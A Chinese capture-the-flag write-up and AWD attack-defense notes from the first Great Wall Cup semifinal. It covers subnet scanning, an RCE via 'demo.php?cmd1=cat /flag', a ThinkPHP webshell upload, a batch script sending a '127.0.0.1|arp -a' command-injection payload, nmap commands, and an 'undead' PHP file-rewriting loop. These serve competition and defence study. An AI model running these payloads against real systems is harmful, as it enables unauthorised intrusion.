第一届长城杯半决赛wp和AWD笔记

目录

AWD

渗透

cfs

单节点1

AWD笔记

AWD工具

文件比较工具

Web漏洞扫描工具

waf工具

代码审计工具

批量网站备份文件泄露扫描工具

cms通杀漏洞的利用

通杀脚本和批量提交flag脚本

防御流程

攻击流程

注意


AWD

解题思路]

首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。

继续扫描

(icmp) Target <192.168.103.3> is alive
(icmp) Target <192.168.103.2> is alive
(icmp) Target <192.168.103.5> is alive
(icmp) Target <192.168.103.6> is alive
(icmp) Target <192.168.103.4> is alive
(icmp) Target <192.168.103.9> is alive
(icmp) Target <192.168.103.12> is alive
(icmp) Target <192.168.103.10> is alive
(icmp) Target <192.168.103.15> is alive
(icmp) Target <192.168.103.16> is alive
(icmp) Target <192.168.103.14> is alive
(icmp) Target <192.168.103.19> is alive
(icmp) Target <192.168.103.20> is alive
(icmp) Target <192.168.103.23> is alive
(icmp) Target <192.168.103.22> is alive
(icmp) Target <192.168.103.25> is alive
(icmp) Target <192.168.103.28> is alive
(icmp) Target <192.168.103.27> is alive
(icmp) Target <192.168.103.24> is alive
(icmp) Target <192.168.103.26> is alive
(icmp) Target <192.168.103.30> is alive
(icmp) Target <192.168.103.31> is alive
(icmp) Target <192.168.103.32> is alive
(icmp) Target <192.168.103.36> is alive
(icmp) Target <192.168.103.37> is alive
(icmp) Target <192.168.103.35> is alive
(icmp) Target <192.168.103.39> is alive
(icmp) Target <192.168.103.38> is alive
(icmp) Target <192.168.103.43> is alive
(icmp) Target <192.168.103.44> is alive
(icmp) Target <192.168.103.45> is alive
(icmp) Target <192.168.103.47> is alive
(icmp) Target <192.168.103.49> is alive
(icmp) Target <192.168.103.52> is alive
(icmp) Target <192.168.103.50> is alive
(icmp) Target <192.168.103.55> is alive
(icmp) Target <192.168.103.56> is alive
(icmp) Target <192.168.103.59> is alive
(icmp) Target <192.168.103.60> is alive
(icmp) Target <192.168.103.58> is alive
(icmp) Target <192.168.103.57> is alive
(icmp) Target <192.168.103.61> is alive
(icmp) Target <192.168.103.63> is alive
(icmp) Target <192.168.103.62> is alive
(icmp) Target <192.168.103.65> is alive
(icmp) Target <192.168.103.67> is alive
(icmp) Target <192.168.103.71> is alive
(icmp) Target <192.168.103.68> is alive
(icmp) Target <192.168.103.69> is alive
(icmp) Target <192.168.103.73> is alive
(icmp) Target <192.168.103.74> is alive
(icmp) Target <192.168.103.70> is alive
(icmp) Target <192.168.103.72> is alive
(icmp) Target <192.168.103.80> is alive
(icmp) Target <192.168.103.76> is alive
(icmp) Target <192.168.103.75> is alive
(icmp) Target <192.168.103.79> is alive
(icmp) Target <192.168.103.77> is alive
(icmp) Target <192.168.103.78> is alive
(icmp) Target <192.168.103.81> is alive
(icmp) Target <192.168.103.82> is alive
(icmp) Target <192.168.103.84> is alive
(icmp) Target <192.168.103.88> is alive
(icmp) Target <192.168.103.89> is alive
(icmp) Target 等等等等 <192.168.103.91> is alive

好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1

之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。

因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉

第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。

这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)

第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来

呼叫队友对存活主机继续尝试ssh连接拿flag。

下面附上部分截图

攻击成果

渗透

cfs

直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写

的是tp5.0.23版本的RCE,拿工具直接打

如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell

看到上传成功,之后蚁剑连接,根目录拿到第一个flag

单节点1

依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密

这里尝试了弱口令,拿到flag

还有后面在那个里面还有流量分析,可以获得flag

AWD笔记

AWD工具

文件比较工具

DiffMerge 是一个强大的文件比较工具

打开俩个文件夹,可以进行比较

如果不同会标记

然后双击打开,查看不同

免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)

Web漏洞扫描工具

D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来

自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了

还有iis防火墙防御,还没用不知道什么样子的

waf工具

watchbird Releases · leohearts/awd-watchbird · GitHub

  • 易于配置(单文件, 无需加载外部js/css)

  • 可以随时开启/关闭某项防御

  • 基本防御:

    • 数据库注入(sql injection)

    • 文件上传(upload)

    • 文件包含(lfi)

    • flag关键字

    • PHP反序列化(unserialize)

    • 命令执行(rce)

    • 分布式拒绝服务攻击(ddos)

    • 请求头,请求参数(GET/POST)关键字

    • 特殊字符

  • 深度防御:

    • 响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)

    • 响应flag检测并返回虚假flag

    • 基于LD_PRELOAD的指令执行保护

    • 基于open_basedir的PHP文件操作保护

  • 网页控制台:

    • 功能开关及配置

    • 实时日志查看

    • 日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交

    • RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

    工具部署

    复制代码
    1.下载最新 release
    ​
    2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
    ​
    3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
    ​
    4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
    ​
    5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
    ​
    6.将以下代码放入需要启用waf的php脚本的第一行 <?php include_once "/var/www/html/watchbird.php" ?>6.enjoy it!

    多准备点其他的比如数Tomcat就要用java的waf

代码审计工具

Seay源码审计系统

可以自动审计,也可手动审计

批量网站备份文件泄露扫描工具

ihoneyBakFileScan

简介

网站备份文件泄露可能造成的危害:

复制代码
1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。
3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露
4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害
5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。

下安裝后的操作

复制代码
    批量url扫描    python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
    单个url扫描    python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
                  python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
                  python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

cms通杀漏洞的利用

首先下载所有漏洞的库和poc

然后用ehole扫描指纹

然后安装Listary

双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现

通杀脚本和批量提交flag脚本

这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本

复制代码
import requests
import re
​
path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer'   # 攻击路径
​
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
          "Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA'
}
​
data = {
    'ip': '127.0.0.1|arp -a',
    'Submit': 'Submit'
}
​
#flag提交地址
url_flag = 'http://10.0.0.1/submit.php?token=123456&flag='
​
#批量攻击和提交
def attack():
    with open('urls.txt', 'r') as file:
        for line in file:
            url = line.strip()  + path      # 攻击url
            ret = requests.post(url=url, headers=headers, data=data, timeout=10)
            #print("Response:", ret.text)  # 调试输出
            flag_match = re.search(r'flag\{.+\}', ret.text)
            if flag_match:
                flag = flag_match.group()
                print("Flag:", flag)
                flag_url = url_flag + flag
                #res = requests.post(url=flag_url,headers=headers,timeout=2)   #注意这里的headers可能有问题,需要根据实际情况修改
                print(res.text)
            else:
                print(line.strip() +  " Flag not found")
attack()

防御流程

  1. 改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)

  2. 备份(最少三份)

  3. D盾扫后门,删除后门

  4. 漏洞修复

  5. 上waf

  6. 关进程

  7. 22,445,139端口,80-89web服务不用关闭等等

攻击流程

1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏

2.一般工具扫描

3.通过自己的弱点去攻击其他人的服务器

注意

1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

主机探测一般使用nmap或者是httpscan

复制代码
nmap -sn 192.168.0.0/24 #扫描c段主机存活
nmap -sV 192.168.0.2      #扫描主机系统版本
nmap -sS 192.168.0.2      #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2    #扫描主机全部端口
​
hhtpscan.py 192.168.0.0/24 -t 10 #同上

2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式

3.端口利用方式未授权访问和弱口令漏洞

4.找到主配置文件

复制代码
find / -name "nginx.conf"         #定位nginx目录
find / -path "*nginx*" -name nginx*conf  #定位nginx配置目录
find / -name "httpd.conf"         #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录
find / -name "index.php"

5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

复制代码
批量url扫描    
python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
单个url扫描    
python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

6.杀死不死马

ps auxww|grep shell.php 找到pid后杀掉进程

循环杀进程

复制代码
ps aux|grep www-data|awk '{print $2}'|xargs kill 

重启php等web服务

复制代码
service php-fpm restart

用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)

复制代码
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = 'hi springbird !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

创建一个和不死马生成的马 一样名字的文件夹 mkdir 1.php

循环创建

复制代码
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。

另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。

8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分

9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启

相关推荐
吕彬-前端4 分钟前
使用vite+react+ts+Ant Design开发后台管理项目(五)
前端·javascript·react.js
学前端的小朱7 分钟前
Redux的简介及其在React中的应用
前端·javascript·react.js·redux·store
guai_guai_guai16 分钟前
uniapp
前端·javascript·vue.js·uni-app
Suckerbin21 分钟前
Hms?: 1渗透测试
学习·安全·网络安全
零炻大礼包24 分钟前
【SQL server】数据库远程连接配置
数据库
Tassel_YUE27 分钟前
网络自动化04:python实现ACL匹配信息(主机与主机信息)
网络·python·自动化
duration~29 分钟前
Maven随笔
java·maven
zmgst32 分钟前
canal1.1.7使用canal-adapter进行mysql同步数据
java·数据库·mysql
随心............34 分钟前
python操作MySQL以及SQL综合案例
数据库·mysql
€☞扫地僧☜€35 分钟前
docker 拉取MySQL8.0镜像以及安装
运维·数据库·docker·容器